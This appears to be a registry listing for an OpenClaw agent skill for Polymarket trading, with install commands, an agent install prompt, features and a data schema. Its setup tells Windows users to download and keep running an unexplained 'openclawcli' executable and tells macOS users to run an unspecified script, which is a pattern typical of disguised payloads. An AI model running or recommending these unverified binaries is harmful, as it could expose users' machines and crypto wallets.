An AI-powered trading assistant for Polymarket that enables users to analyze probabilities, track portfolios, and automate prediction market strategies.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polymarkets
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polymarkets using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Trading Skill?
The Polymarket Trading Skill is a sophisticated toolset designed for traders who want to capitalize on their knowledge of real-world events. By integrating with the world's largest decentralized prediction market, this skill allows users to trade YES or NO shares on outcomes ranging from global politics to professional sports. Utilizing Openclaw Skills, it bridges the gap between manual trading and programmatic execution, providing the necessary infrastructure to interact with the Polymarket Order Book (CLOB) and Gamma APIs seamlessly.
Polymarket Trading Skill Use Cases
- Identifying and exploiting information edges in political and economic markets
- Automating price alerts to catch sharp market movements before event resolution
- Executing arbitrage strategies between Polymarket and other forecasting platforms
- Tracking real-time P&L and portfolio value across multiple decentralized positions
- Preparing for future token distributions through consistent and diverse trading activity
How Polymarket Trading Skill Works
- The user activates the openclawcli utility to establish a secure connection for market data retrieval.
- The skill queries the Gamma API to filter and find high-liquidity markets based on user-defined keywords or categories.
- Technical analysis is performed on the order book using CLOB API data to determine bid/ask spreads and depth.
- Trading logic, such as the Kelly Criterion, is applied to calculate optimal position sizes based on the user's probability estimates.
- Automated monitoring scripts track the status of active bets and provide notifications when price thresholds are met.
Polymarket Trading Skill Setup
To use this skill, you must first install the required CLI utility and dependencies.
Prerequisites:
jqandcurlmust be installed on your system.- Set the
POLYMARKET_ADDRESSenvironment variable to your wallet address.
Installation:
- Windows: Download the openclawcli.zip, extract it, and keep the executable running.
- macOS: Execute the installation script provided in the documentation to set up the terminal environment.
# Verify your connection to the Polymarket API
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=1" | jq
Polymarket Trading Skill Data Schema & Taxonomy
The skill organizes market and trading data into structured formats for easy analysis:
| Data Type | Description | Key Fields |
|---|---|---|
| Market Metadata | General event information | question, slug, outcomePrices, liquidity |
| Order Book | Real-time liquidity data | bids, asks, market_id, spread |
| Portfolio | User position tracking | market-slug, side (YES/NO), shares, entry_price |
| Activity | Historical trade data | volume, startDate, endDate |
Polymarket Trading Skill Advanced Features
- Custom Price Alerting: Scriptable thresholds that monitor specific outcome prices using Openclaw Skills architecture
- Risk Management Suite: Integrated Kelly Criterion calculator to prevent over-leveraging on high-conviction trades
- Market Scanner: Automated discovery of newly created markets to capture early-mover advantages
- Portfolio Analytics: Bash-based trackers that aggregate value across diverse categories like Politics, Sports, and Science
- Arbitrage Detection: Tools to identify price discrepancies across correlated event outcomes
SKILL.md
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